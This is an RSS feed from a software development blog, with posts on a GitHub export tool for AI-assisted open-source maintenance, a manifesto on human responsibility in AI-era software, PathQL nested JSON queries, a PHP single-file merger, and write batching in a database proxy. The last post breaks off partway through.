<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>Blog about software development on TQdev</title>
    <link>https://www.tqdev.com/</link>
    <description>Recent content in Blog about software development on TQdev</description>
    <generator>Hugo -- 0.147.9</generator>
    <language>en-us</language>
    <lastBuildDate>Thu, 02 Apr 2026 00:00:00 +0000</lastBuildDate>
    <atom:link href="https://www.tqdev.com/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>GitHub export tool for open-source maintenance with AI</title>
      <link>https://www.tqdev.com/2026-github-export-open-source-maintenance-ai/</link>
      <pubDate>Thu, 02 Apr 2026 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2026-github-export-open-source-maintenance-ai/</guid>
      <description>&lt;p&gt;I have written a command-line tool in Go called
&lt;a href=&#34;https://github.com/mevdschee/github-export&#34;&gt;github-export&lt;/a&gt; that exports all
GitHub issues, pull requests, releases, labels, and milestones from a repository
into a local folder as plain markdown files. What makes it different from
existing tools is that it syncs incrementally and generates event files that an
AI agent (like Claude Code) can pick up and act on. This lets me maintain my
open-source projects with AI assistance.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>I have written a command-line tool in Go called
<a href="https://github.com/mevdschee/github-export">github-export</a> that exports all
GitHub issues, pull requests, releases, labels, and milestones from a repository
into a local folder as plain markdown files. What makes it different from
existing tools is that it syncs incrementally and generates event files that an
AI agent (like Claude Code) can pick up and act on. This lets me maintain my
open-source projects with AI assistance.</p>
<h3 id="github-backup-and-gh2md">GitHub-Backup and gh2md</h3>
<p>There are existing tools for exporting GitHub data, but none of them did what I
needed. <a href="https://github.com/mattduck/gh2md">gh2md</a> is a Python tool that exports
issues and pull requests to markdown. It works well for creating a readable
archive, either as a single file or one file per issue, but it always does a
full export. Every run fetches everything from scratch, with no concept of
incremental sync or change detection.</p>
<p><a href="https://github.com/clockfort/GitHub-Backup">GitHub-Backup</a> takes a different
approach: it clones all repositories of a user or organization and can
optionally include issues, pull requests, and other metadata as JSON. It is
designed for disaster recovery backups rather than for working with the data.</p>
<p>Both tools are useful for their intended purpose, but neither supports
incremental sync or generates events for changes. I needed a tool that could run
repeatedly on a schedule, only fetch what changed, and tell me exactly what
happened since the last run. That&rsquo;s what github-export does.</p>
<h3 id="incremental-sync">Incremental sync</h3>
<p>On the first run, github-export fetches all data from a repository. On
subsequent runs, it reads the <code>synced_at</code> timestamp from <code>repo.yml</code> and only
re-fetches issues and pull requests that were updated since then. Each touched
issue file is fully rebuilt from the GitHub timeline endpoint, so the local copy
is always complete and accurate.</p>
<p>A typical incremental sync of 50 updated issues costs around 200 API requests,
well within GitHub&rsquo;s 5,000/hour rate limit. The tool also automatically sleeps
when the rate limit gets low.</p>
<h3 id="the-event-system">The event system</h3>
<p>The key feature that enables AI-assisted maintenance is the event system. During
each sync, github-export compares the freshly fetched data against what was
previously on disk and generates individual event files in
<code>github-data/events/</code>. This adds no extra API calls - it&rsquo;s just a diff of the
local state.</p>
<p>Event types include <code>issue_created</code>, <code>issue_closed</code>, <code>issue_reopened</code>,
<code>pr_created</code>, <code>pr_merged</code>, <code>pr_closed</code>, and <code>comment_created</code>. Each event file
is a markdown file with YAML frontmatter containing the event type, issue
number, title, author, state, labels, and a link to the full issue file:</p>
<pre><code>---
event: pr_created
number: 69
title: Add whiteblack color
author: lqj01
state: open
labels: []
file: github-data/issues/0069.md
repo: mevdschee/2048.c
url: https://github.com/mevdschee/2048.c/pull/69
exported_at: 2026-04-02T07:53:37Z
---
</code></pre>
<h3 id="maintenance-with-claude-code">Maintenance with Claude Code</h3>
<p>The event files are designed as a handoff point: an agent reads them, acts on
them, and deletes them afterwards. Here is an example of how I use this with
Claude Code to maintain my <a href="https://github.com/mevdschee/2048.c">2048.c</a>
repository.</p>
<p>After running github-export, I had 6 events: several new pull requests and an
issue. I opened Claude Code and pointed it at the events directory. Claude read
all the event files and gave me a prioritized summary:</p>
<ul>
<li><strong>PR #66</strong> - Spam (phone numbers, no code). Already closed, but no comment.</li>
<li><strong>Issue #67 + PR #68</strong> - Feature request to add board rotation, with an
implementation.</li>
<li><strong>PR #69</strong> - A new white-to-black color scheme, with screenshots.</li>
<li><strong>PR #65 and #70</strong> - Already closed (merged + reverted), no action needed.</li>
</ul>
<p>For each item, Claude suggested an action and I decided what to do. For the spam
PR, Claude posted a friendly comment. For the rotation feature, I decided it was
out of scope (we want to keep the code minimal) and Claude posted appreciative
comments explaining why, then closed both the issue and the PR. For the color
scheme PR, I liked it, Claude suggested a thank-you comment, merged the PR,
pulled the changes, and fixed a minor indentation issue. After everything was
handled, Claude cleaned up the event files.</p>
<p>The entire session took a few minutes instead of the usual context-switching
between GitHub notifications, reviewing diffs in the browser, and typing out
responses. Claude handled all the <code>gh</code> commands while I made the decisions.</p>
<h3 id="how-it-all-fits-together">How it all fits together</h3>
<p>The workflow is straightforward:</p>
<ol>
<li>Run <code>github-export mevdschee/2048.c</code> (either manually or on a schedule)</li>
<li>Open Claude Code and point it at the events</li>
<li>Review the suggested actions and approve or adjust them</li>
<li>Claude executes the maintenance using <code>gh</code> commands</li>
</ol>
<p>Because all the GitHub data is available locally as plain text, the AI agent can
read issue histories, review PR diffs, and understand context without needing
direct API access. The event files tell it what needs attention, and the full
issue files give it the details.</p>
<h3 id="download">Download</h3>
<p>You can find the code on my GitHub:</p>
<p><a href="https://github.com/mevdschee/github-export">https://github.com/mevdschee/github-export</a></p>
<p>The tool requires Go 1.22+ to build and a <code>GITHUB_TOKEN</code> environment variable
for authentication. You can get a token with <code>gh auth token</code> if you have the
GitHub CLI installed.</p>
<p>Enjoy!</p>
]]></content:encoded>
    </item>
    <item>
      <title>Human-Crafted Software Manifesto</title>
      <link>https://www.tqdev.com/2026-human-crafted-software-manifesto/</link>
      <pubDate>Wed, 25 Mar 2026 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2026-human-crafted-software-manifesto/</guid>
      <description>&lt;p&gt;For years we have been told that speed is everything. That shipping faster is
the only metric that matters. We are being told that the backlog is dead, that
human bandwidth is a bottleneck, and that the future belongs to whoever presses
the AI&amp;rsquo;s generate button hardest.&lt;/p&gt;
&lt;p&gt;We reject this.&lt;/p&gt;
&lt;p&gt;Not because we fear change, but because we have &lt;em&gt;used&lt;/em&gt; these tools, and we have
seen what happens when people stop caring about the output. We have seen skills
abandoned, standards dropped, and products shipped that no one can explain,
maintain, or bring themselves to care about. We have been told this is progress.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>For years we have been told that speed is everything. That shipping faster is
the only metric that matters. We are being told that the backlog is dead, that
human bandwidth is a bottleneck, and that the future belongs to whoever presses
the AI&rsquo;s generate button hardest.</p>
<p>We reject this.</p>
<p>Not because we fear change, but because we have <em>used</em> these tools, and we have
seen what happens when people stop caring about the output. We have seen skills
abandoned, standards dropped, and products shipped that no one can explain,
maintain, or bring themselves to care about. We have been told this is progress.</p>
<p>It is not.</p>
<h3 id="we-are-tired-of-the-hype">We are tired of the hype</h3>
<p>In 2001, the Agile Manifesto reminded us that <strong>individuals and interactions</strong>
matter more than processes and tools. That <strong>working software</strong> matters more
than comprehensive documentation. That <strong>responding to change</strong> matters more
than following a plan.</p>
<p>In 2009, the Software Craftsmanship Manifesto went further: not just working
software, but <strong>well-crafted software</strong>. Not just responding to change, but
<strong>steadily adding value</strong>. Not just individuals and interactions, but <strong>a
community of professionals</strong>. Not just customer collaboration, but <strong>productive
partnerships</strong>.</p>
<p>Now in 2026, the age of generative AI, we need go further still. Not just
well-crafted software, but <strong>software we understand</strong>. Not just a community of
professionals, but <strong>engineers who own what they ship</strong>. Not just productive
partnerships, but <strong>human responsibility</strong> is required as well.</p>
<p>Because somewhere along the way, we confused <strong>generating code</strong> with <strong>building
software</strong>. They are not the same thing. Writing the code was never the problem.
And the stakes have never been higher: software is no longer a convenience, it
is a matter of life and death.</p>
<h3 id="what-we-value">What we value</h3>
<p><strong>Less code over more code</strong>, because every line is a liability. The best
solution is the smallest one that works. AI can generate a thousand lines in
seconds, and that is exactly the problem. Good engineering <em>removes</em> code. Great
engineering never writes it in the first place.</p>
<p><strong>Tested code over generated code</strong>, because if it is not tested, it does not
work. It just <em>appears</em> to work, which is worse. And a passing test suite is not
proof either, a thousand green checks that test nothing are just decoration.
Valuable tests prove behavior that matters. They catch the bug before the user
does. They are the only honest documentation your code will ever have.</p>
<p><strong>Quality over speed, always</strong>, because sloppy work is not a tradeoff, it is a
failure. There is no deadline, no sprint, no business case that justifies
shipping something you know is sloppy designed. Quality is not a phase you add
later. It is the way you work, or it is absent.</p>
<p><strong>Value delivered over lines produced</strong>, because software exists to solve
problems for real people. Not to impress a metrics dashboard. Not to fill a pull
request. One function that saves a user ten minutes a day is worth more than ten
thousand lines of generated scaffolding nobody asked for.</p>
<p><strong>Good abstractions over fast implementations</strong>, because the cost of software is
not writing it. It is reading it, changing it, debugging it, and explaining it
to the next person. Code that is easy to change is more valuable than code that
was fast to produce. If you cannot draw the boundaries, you do not understand
the problem yet.</p>
<p><strong>Responsibility over delegation</strong>, because production is not a playground. When
the system fails at 3 AM, a human answers the call. Not a tool, not a prompt,
not a process. You. If you shipped it, you own it. &ldquo;The AI wrote it&rdquo; is not an
incident response. It never was. It never will be.</p>
<p><strong>Understanding over output</strong>, because code you cannot explain is code you
cannot fix. It does not matter how the code was produced. If you do not
understand it, you cannot maintain it, evolve it, or take responsibility for it.
The standard is the same regardless of the tool.</p>
<p><strong>Craft over convenience</strong>, because we have seen what happens when people
optimize purely for speed and stop holding themselves accountable for the
result. You get software no one can maintain, teams that cannot onboard, systems
that cannot evolve, and engineers that cannot feel proud of what they made
because they do not understand it. We refuse to call that progress.</p>
<h3 id="we-use-tools">We use tools</h3>
<p>We have always used tools. Compilers, frameworks, linters, CI pipelines,
autocomplete, we are not afraid of leverage. AI is one more tool. A powerful
one. We embrace it. Used well, it amplifies human creativity and frees us to
spend less time on repetitive tasks and more time solving meaningful problems.
But like every powerful tool, it demands <em>more</em> skill from the person using it,
not less.</p>
<p>A calculator makes a mathematician faster. It does not make someone who has
never studied mathematics into one. And when the result looks wrong, only the
mathematician knows. The tool did not lower the bar. The tool never does. People
do, when they stop paying attention.</p>
<p>The question was never <em>whether</em> to use AI. The question is whether we maintain
the highest standards of quality and ethics while doing so. We are tired of the
false binary: &ldquo;adopt AI completely or get left behind.&rdquo; As if the only options
are full surrender or irrelevance. As if using your brain is now a competitive
disadvantage.</p>
<p>We have heard this before. In the outsourcing era, the same promise was made:
delegate everything, cut costs, move faster. Companies that outsourced
completely lost the ability to understand their own systems, to react when
things broke, and to innovate when the market shifted. The tools changed. The
lesson did not.</p>
<p>We can do better.</p>
<h3 id="what-we-commit-to">What we commit to</h3>
<ol>
<li><strong>If we cannot explain it, we do not ship it.</strong> No exceptions. No tool
changes this. Every line that goes to production, we can defend.</li>
<li><strong>We add as little code as possible.</strong> Less code, fewer problems, better
software. The best solution is the simplest one.</li>
<li><strong>We test what matters and we prove it works.</strong> Not test counts. Not coverage
percentages. Proof. If the tests do not catch the bug before the user does,
we failed.</li>
<li><strong>We never compromise on quality.</strong> Not for deadlines, not for demos, not for
&ldquo;we will fix it later.&rdquo; There is no shortcut that does not come back to haunt
you. We do it right or we do not do it.</li>
<li><strong>We own what runs.</strong> Production is ours. When it breaks, we fix it. A tool
cannot be paged at 3 AM. We can. That is the job.</li>
<li><strong>We keep learning.</strong> We practice our craft. We sharpen our skills. We do not
let any tool make us lazy, dependent, or dull. The day we stop growing is the
day we stop being engineers.</li>
</ol>
<h3 id="it-was-always-about-the-people">It was always about the people</h3>
<p>The Agile Manifesto said it first: individuals and interactions over processes
and tools. Somehow, twenty-five years later, we need to say it again, louder
this time, because the narrative has shifted to one where the tool matters more
than the person using it.</p>
<p>You are not a bottleneck. You are not a token budget. You are not a &ldquo;human in
the loop&rdquo; rubberstamping machine output.</p>
<p>You are a maker, a thinker, and a professional. You decide what ships. You
decide what is good enough. You bear the responsibility. That has not changed.
No tool changes that.</p>
<p>The code we write is ours. The quality we demand is ours. The responsibility we
carry is ours. Tools do not change that. Nothing does.</p>
<p><strong>We built this profession with our hands and our minds. No tool changes the
essence of the craft, or what it demands of those who practice it.</strong></p>
<p><em>Inspired by the <a href="https://agilemanifesto.org/">Agile Manifesto</a> (2001), the
<a href="http://manifesto.softwarecraftsmanship.org/">Manifesto for Software Craftsmanship</a>
(2009), and the growing unease of every developer who is told that AI tools are
a silver bullet.</em></p>
]]></content:encoded>
    </item>
    <item>
      <title>PathQL: Nested JSON queries</title>
      <link>https://www.tqdev.com/2026-pathql-nested-json-queries/</link>
      <pubDate>Mon, 16 Mar 2026 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2026-pathql-nested-json-queries/</guid>
      <description>&lt;p&gt;SQL gives us rows and columns, while APIs usually need nested JSON. That
mismatch is small, but it creates a lot of repetitive code. Most backends choose
one of two strategies: use a join and transform the resulting rows into nested
JSON, or run multiple queries (often one per table) and then match each result
set back to its parent.&lt;/p&gt;
&lt;p&gt;That code is not hard, but it is everywhere. And as Robert C. Martin reminds us
in Clean Code, duplication is a design smell, even when each copy is &amp;ldquo;small&amp;rdquo;.
PathQL is my attempt to remove that duplication while keeping SQL in the center.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>SQL gives us rows and columns, while APIs usually need nested JSON. That
mismatch is small, but it creates a lot of repetitive code. Most backends choose
one of two strategies: use a join and transform the resulting rows into nested
JSON, or run multiple queries (often one per table) and then match each result
set back to its parent.</p>
<p>That code is not hard, but it is everywhere. And as Robert C. Martin reminds us
in Clean Code, duplication is a design smell, even when each copy is &ldquo;small&rdquo;.
PathQL is my attempt to remove that duplication while keeping SQL in the center.</p>
<h3 id="what-is-pathql">What is PathQL?</h3>
<p>PathQL is not a new database language or an ORM. You still write SQL. The idea
is simple: assign a JSON path to each table alias and let the engine merge flat
rows into a nested JSON result. In PHP this is available through pathpdo. In Go
this is available through pathsqlx. Both follow the same concept.</p>
<h3 id="how-it-works">How it works</h3>
<p>At a high level the process has four steps:</p>
<ol>
<li>Parse the SQL query to detect tables, aliases, joins, and selected columns.</li>
<li>Infer one-to-many or one-to-one using foreign-key metadata and join type.</li>
<li>Build JSON paths for each selected column, optionally overridden by
user-provided path hints.</li>
<li>Merge flat rows into a nested tree, deduplicating repeated parent objects.</li>
</ol>
<p>The important thing is that the database still does what it is good at:
filtering, joining, ordering, aggregating. PathQL only handles output shaping.</p>
<h3 id="a-concrete-example">A concrete example</h3>
<p>Suppose you want to query certain posts with their comments:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="cl"><span class="k">SELECT</span><span class="w"> </span><span class="n">posts</span><span class="p">.</span><span class="n">id</span><span class="p">,</span><span class="w"> </span><span class="n">posts</span><span class="p">.</span><span class="n">title</span><span class="p">,</span><span class="w"> </span><span class="n">comments</span><span class="p">.</span><span class="n">id</span><span class="p">,</span><span class="w"> </span><span class="n">comments</span><span class="p">.</span><span class="n">message</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="k">FROM</span><span class="w"> </span><span class="n">posts</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="k">LEFT</span><span class="w"> </span><span class="k">JOIN</span><span class="w"> </span><span class="n">comments</span><span class="w"> </span><span class="k">ON</span><span class="w"> </span><span class="n">comments</span><span class="p">.</span><span class="n">post_id</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">posts</span><span class="p">.</span><span class="n">id</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="k">WHERE</span><span class="w"> </span><span class="n">posts</span><span class="p">.</span><span class="n">id</span><span class="w"> </span><span class="o">&lt;=</span><span class="w"> </span><span class="mi">2</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="k">ORDER</span><span class="w"> </span><span class="k">BY</span><span class="w"> </span><span class="n">posts</span><span class="p">.</span><span class="n">id</span><span class="p">,</span><span class="w"> </span><span class="n">comments</span><span class="p">.</span><span class="n">id</span><span class="w">
</span></span></span></code></pre></div><p>Instead of returning a tabular result set like this:</p>
<table>
  <thead>
      <tr>
          <th>posts.id</th>
          <th>posts.title</th>
          <th>comments.id</th>
          <th>comments.message</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>1</td>
          <td>&ldquo;Hello&rdquo;</td>
          <td>10</td>
          <td>&ldquo;nice&rdquo;</td>
      </tr>
      <tr>
          <td>1</td>
          <td>&ldquo;Hello&rdquo;</td>
          <td>11</td>
          <td>&ldquo;great&rdquo;</td>
      </tr>
      <tr>
          <td>2</td>
          <td>&ldquo;World&rdquo;</td>
          <td>12</td>
          <td>&ldquo;thanks&rdquo;</td>
      </tr>
  </tbody>
</table>
<p>PathQL returns (without having to add any path hints):</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">[</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;id&#34;</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;title&#34;</span><span class="p">:</span> <span class="s2">&#34;Hello&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;comments&#34;</span><span class="p">:</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">            <span class="p">{</span> <span class="nt">&#34;id&#34;</span><span class="p">:</span> <span class="mi">10</span><span class="p">,</span> <span class="nt">&#34;message&#34;</span><span class="p">:</span> <span class="s2">&#34;nice&#34;</span> <span class="p">},</span>
</span></span><span class="line"><span class="cl">            <span class="p">{</span> <span class="nt">&#34;id&#34;</span><span class="p">:</span> <span class="mi">11</span><span class="p">,</span> <span class="nt">&#34;message&#34;</span><span class="p">:</span> <span class="s2">&#34;great&#34;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="p">},</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;id&#34;</span><span class="p">:</span> <span class="mi">2</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;title&#34;</span><span class="p">:</span> <span class="s2">&#34;World&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;comments&#34;</span><span class="p">:</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">            <span class="p">{</span> <span class="nt">&#34;id&#34;</span><span class="p">:</span> <span class="mi">12</span><span class="p">,</span> <span class="nt">&#34;message&#34;</span><span class="p">:</span> <span class="s2">&#34;thanks&#34;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">]</span>
</span></span></code></pre></div><p>No manual grouping loops, no temporary maps keyed by ids, no custom serializer
for every endpoint.</p>
<h3 id="why-this-is-better-than-plain-sql-for-apis">Why this is better than plain SQL for APIs</h3>
<p>To be precise: PathQL is not better than SQL for querying data. It is better
than plain SQL plus hand-written reshaping code when your output is nested JSON.
Benefits include:</p>
<ul>
<li>Less application code</li>
<li>Clearer endpoint code</li>
<li>No hidden query generation</li>
</ul>
<p>In The Mythical Man-Month, Fred Brooks explains that conceptual integrity is a
major source of quality. PathQL keeps one conceptual model: SQL for data, paths
for shape. That is easier to reason about than mixing SQL, ORM behavior, and
custom post-processing logic.</p>
<h3 id="how-it-compares-to-graphql">How it compares to GraphQL</h3>
<p>PathQL and GraphQL solve a similar user need: retrieve exactly the data shape
you want in a single request. But they optimize for different contexts. PathQL
is different than GraphQL as it has the following properties:</p>
<ul>
<li>SQL-driven query model</li>
<li>No resolver layer</li>
<li>Single SQL statement can avoid N+1 by construction</li>
<li>Great for teams that care about predictable performance</li>
</ul>
<p>So this is not &ldquo;PathQL versus GraphQL&rdquo; in absolute terms. It is a trade-off. If
your product is API-first with many consumer teams, GraphQL can be the right
tool. If you mainly need efficient relational data access with nested JSON
output, PathQL can be much simpler.</p>
<h3 id="why-a-simple-idea-can-be-powerful">Why a simple idea can be powerful</h3>
<p>Many useful tools are small ideas with strong composition. PathQL is one such
idea: map table aliases to JSON paths, then merge rows. That is it. Because it
is small and allows you to write arbitrary SQL, it works with all advanced SQL
features (even subqueries and aggregates).</p>
<p>In A Philosophy of Software Design, John Ousterhout argues for deep modules:
simple interfaces that hide complexity. PathQL aims to be exactly that. The
interface is tiny, but it removes a recurring category of accidental complexity
from application code.</p>
<h3 id="getting-started">Getting started</h3>
<p>PHP (pathpdo):</p>
<ul>
<li>create a connection with <code>PathPdo::create(...)</code></li>
<li>call <code>$db-&gt;pathQuery($sql, $params, $paths)</code></li>
</ul>
<p>Go (pathsqlx):</p>
<ul>
<li>create your <code>db</code></li>
<li>call <code>db.PathQuery(sql, params, paths)</code></li>
</ul>
<p>You may even want to set up a PathQL server (pathql-server).</p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://github.com/mevdschee/pathsqlx">A path engine implementation in Go for PathQL</a></li>
<li><a href="https://github.com/mevdschee/pathpdo">PathQL path engine library for PHP&rsquo;s PDO</a></li>
<li><a href="https://github.com/mevdschee/pathql-server">PathQL server implementation in Go using Mux</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Merge PHP projects into a single file with phpfilemerger</title>
      <link>https://www.tqdev.com/2026-merge-php-projects-single-file/</link>
      <pubDate>Sat, 14 Mar 2026 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2026-merge-php-projects-single-file/</guid>
      <description>&lt;p&gt;I wrote phpfilemerger, a small CLI tool that takes a PHP entry point and all of
its class dependencies and produces a single self-contained PHP file. It uses an
AST parser to resolve dependencies properly, so the output is ordered and ready
to run.&lt;/p&gt;
&lt;h3 id=&#34;use-case-php-crud-api&#34;&gt;Use case: PHP-CRUD-API&lt;/h3&gt;
&lt;p&gt;I maintain a PHP project that is distributes as a single file
(&lt;a href=&#34;https://github.com/mevdschee/php-crud-api&#34;&gt;PHP-CRUD-API&lt;/a&gt;) and phpfilemerger
automates the process of building. It produces that one-file distribution,
keeping class order and namespaces intact so the merged file works just like the
original project. It statically analyzes your codebase using PSR-4/PSR-0
mappings and inlines all dependencies in the correct order.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>I wrote phpfilemerger, a small CLI tool that takes a PHP entry point and all of
its class dependencies and produces a single self-contained PHP file. It uses an
AST parser to resolve dependencies properly, so the output is ordered and ready
to run.</p>
<h3 id="use-case-php-crud-api">Use case: PHP-CRUD-API</h3>
<p>I maintain a PHP project that is distributes as a single file
(<a href="https://github.com/mevdschee/php-crud-api">PHP-CRUD-API</a>) and phpfilemerger
automates the process of building. It produces that one-file distribution,
keeping class order and namespaces intact so the merged file works just like the
original project. It statically analyzes your codebase using PSR-4/PSR-0
mappings and inlines all dependencies in the correct order.</p>
<h3 id="why-not-phar">Why not PHAR?</h3>
<p>PHAR archives can bundle code, autoloaders and metadata and are generally a more
robust single-file format. They do what phpfilemerger does, but better. However,
PHAR execution is frequently disabled or restricted on web hosting. The <code>phar</code>
stream wrapper may be turned off and/or execution of PHAR archives is blocked
for security reasons. Using phpfilemerger allows you to work around these
restrictions. It provides you the convenience of single file deployment whenever
PHAR is not an option.</p>
<p>Note: A less elegant way to work around the PHAR execution limitation is
<code>pharscript</code> that creates a PHP wrapper script that bootstraps an embedded PHAR
archive. See:
<a href="https://github.com/mevdschee/pharscript">https://github.com/mevdschee/pharscript</a></p>
<h3 id="how-it-works">How it works</h3>
<ol>
<li>Parse the entry point with <code>nikic/php-parser</code> and extract all class
references (extends, implements, trait use, type hints, <code>new</code>, etc.).</li>
<li>Resolve class names to files using Composer autoload mappings and
<code>vendor/composer</code> metadata.</li>
<li>Build a dependency graph and topologically sort files so dependencies come
before dependents.</li>
<li>Emit a single output file with <code>declare(strict_types=1)</code> once, inlined vendor
<code>files</code> entries, and per-file <code>// file:</code> annotations.</li>
<li>Validate the generated file with <code>php -l</code>.</li>
</ol>
<h3 id="examples">Examples</h3>
<p>Merge <code>src/index.php</code> and all its dependencies into one file:</p>
<pre><code>php phpfilemerger.phar merge src/index.php
</code></pre>
<p>Produce an includeable library (no entry logic):</p>
<pre><code>php phpfilemerger.phar merge src/index.php --exclude-entry --output dist/lib.php
</code></pre>
<p>This can be used to <code>include</code> complex dependencies.</p>
<h3 id="limitations">Limitations</h3>
<p>Where PHAR archives can contain more or less any PHP project, phpfilemerger
expects projects to be prepared with merging in mind. That usually means keeping
class declarations and procedural bootstrap code separate, using PSR-style
autoloading only, avoid usage of <code>include</code>/<code>require</code> and don&rsquo;t do clever
top-level conditional <code>return</code> tricks. These constraints do not conflict with
common best practices for well-structured PHP libraries, but are a strict
requirement for producing a merged single-file output with phpfilemerger.</p>
<ul>
<li><strong>Dynamic class loading:</strong> <code>new $className()</code> and similar dynamic patterns
cannot be statically analyzed and will not be automatically included.</li>
<li><strong>Multiple namespaces:</strong> files using more than one namespace block may not be
handled correctly.</li>
<li><strong>File inclusions:</strong> any <code>include</code>/<code>require</code> other than <code>vendor/autoload.php</code>
will trigger a warning and be skipped, since relative paths would break in the
merged file.</li>
<li><strong>Top-level returns:</strong> these are disallowed in dependency files (they would
abort execution of the entire merged file) and will cause an error.</li>
</ul>
<h3 id="self-compilation">Self compilation</h3>
<p>Note that phpfilemerger project itself cannot be compiled into a single-file
output (yet). The essential <code>nikic/php-parser</code> package uses a lot of
<code>include</code>/<code>require</code> and even contains a top-level <code>return</code>. Attempting to merge
the tool&rsquo;s own source results in errors telling you which files offend the
rules:</p>
<pre><code>git clone https://github.com/mevdschee/phpfilemerger.git
cd phpfilemerger
composer install
php src/index.php merge src/index.php
</code></pre>
<p>This show that some complex projects are not easily turned into a single PHP
file with this tool. If you want to help improve this tool, this is a great
place to start!</p>
<p>See:
<a href="https://github.com/mevdschee/phpfilemerger">https://github.com/mevdschee/phpfilemerger</a></p>
<p>Enjoy!</p>
]]></content:encoded>
    </item>
    <item>
      <title>TQDBProxy: 10x write performance with batch hints</title>
      <link>https://www.tqdev.com/2026-tqdbproxy-10x-write-performance-batch/</link>
      <pubDate>Thu, 19 Feb 2026 12:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2026-tqdbproxy-10x-write-performance-batch/</guid>
      <description>&lt;p&gt;I&amp;rsquo;ve built TQDBProxy to handle heavy read loads by caching SELECT queries with a
TTL hint. The proxy worked well for reads. Each application server could keep a
local cache and avoid trips to the database. The cache reduced pressure on
primary databases and gave predictable latency under heavy read traffic.&lt;/p&gt;
&lt;p&gt;But what if not the reads, but the writes are the bottleneck? Each small insert
or update creates its own transaction and its own fsync on the database. The
database CPU and I/O become saturated. Adding more machines does not help as you
cannot easily shard hot tables over multiple database servers.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>I&rsquo;ve built TQDBProxy to handle heavy read loads by caching SELECT queries with a
TTL hint. The proxy worked well for reads. Each application server could keep a
local cache and avoid trips to the database. The cache reduced pressure on
primary databases and gave predictable latency under heavy read traffic.</p>
<p>But what if not the reads, but the writes are the bottleneck? Each small insert
or update creates its own transaction and its own fsync on the database. The
database CPU and I/O become saturated. Adding more machines does not help as you
cannot easily shard hot tables over multiple database servers.</p>
<p>I think that adding a few milliseconds of latency to allow batching of
operations would make sense in many scenarios. Batched operations allow for
aggregating write operations and thus higher throughput. I implemented a hint
based feature called &ldquo;batch hints&rdquo;. Clients can now ask the proxy to wait up to
N milliseconds and combine identical write statements into a single batched
execution.</p>
<h3 id="batch-hint-syntax">Batch hint syntax</h3>
<p>Clients add a <code>batch:N</code> comment to write statements. <code>N</code> is the maximum wait
time in milliseconds.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="cl"><span class="cm">/* batch:10 */</span><span class="w"> </span><span class="k">INSERT</span><span class="w"> </span><span class="k">INTO</span><span class="w"> </span><span class="o">`</span><span class="n">logs</span><span class="o">`</span><span class="w"> </span><span class="p">(</span><span class="k">level</span><span class="p">,</span><span class="w"> </span><span class="n">message</span><span class="p">)</span><span class="w"> </span><span class="k">VALUES</span><span class="w"> </span><span class="p">(</span><span class="o">?</span><span class="p">,</span><span class="w"> </span><span class="o">?</span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="cm">/* batch:50 */</span><span class="w"> </span><span class="k">UPDATE</span><span class="w"> </span><span class="o">`</span><span class="n">settings</span><span class="o">`</span><span class="w"> </span><span class="k">SET</span><span class="w"> </span><span class="n">value</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">?</span><span class="w"> </span><span class="k">WHERE</span><span class="w"> </span><span class="k">key</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">?</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="cm">/* batch:5 */</span><span class="w"> </span><span class="k">DELETE</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="o">`</span><span class="n">sessions</span><span class="o">`</span><span class="w"> </span><span class="k">WHERE</span><span class="w"> </span><span class="n">expired_at</span><span class="w"> </span><span class="o">&lt;</span><span class="w"> </span><span class="o">?</span><span class="w">
</span></span></span></code></pre></div><p>As you see it is as easy as adding a comment to lower the database load
of some high frequent write queries.</p>
<p><strong>Behavior and guarantees</strong></p>
<ul>
<li>The hint only applies to INSERT, UPDATE and DELETE statements.</li>
